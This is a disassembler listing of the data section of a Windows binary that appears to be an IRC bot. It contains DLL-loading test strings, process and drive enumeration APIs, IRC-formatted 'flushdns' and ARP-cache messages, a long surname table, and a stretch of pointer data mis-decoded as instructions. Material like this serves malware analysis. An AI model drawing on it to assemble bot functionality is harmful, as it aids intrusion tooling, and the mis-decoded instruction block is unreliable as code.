aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D338	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D4F8	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D528	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D54C	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42D594	dd 0			; DATA XREF: sub_40B08D+7o
off_42D598	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D600	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D60C	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
; ---------------------------------------------------------------------------


loc_42DE8C:				; CODE XREF: ___:loc_42DE8Cj
		jo	short loc_42DE8C
		inc	edx
		add	[eax-2], ch
		inc	edx
		add	[eax-2], ah
		inc	edx
		add	[eax-2], bl
		inc	edx
		add	[eax-2], dl
		inc	edx
		add	[eax-2], cl
		inc	edx
		add	[eax-2], al
		inc	edx
		add	[eax], bh
		inc	byte ptr [edx+0]
		xor	dh, bh
		inc	edx
		add	[eax], ch
		inc	byte ptr [edx+0]
		and	dh, bh
		inc	edx
		add	[eax], bl
		inc	byte ptr [edx+0]
		adc	dh, bh
		inc	edx
		add	[eax], cl
		inc	byte ptr [edx+0]
		add	dh, bh
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	ah, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	al, cl
		std
		inc	edx
		add	[ebp+edi*8-24FFFBEh], bh
		inc	edx
		add	[eax-63FFBD03h], ch
		std
		inc	edx
		add	[ebp+edi*8-273FFBEh], dl
		inc	edx
		add	[ebp+edi*8-283FFBEh], al
		inc	edx
		add	[ebp+edi*8+42h], dh
		add	[eax-3], ch
		inc	edx
		add	[eax-3], ah
		inc	edx
		add	[ebp+edi*8+42h], dl
		add	[ebp+edi*8+42h], cl
		add	[ebp+edi*8+42h], al
		add	[eax], bh
		std
		inc	edx
		add	[eax], dh
		std
		inc	edx
		add	[eax], ch
		std
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	[eax], dl
		std
		inc	edx
		add	[eax], cl
		std
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
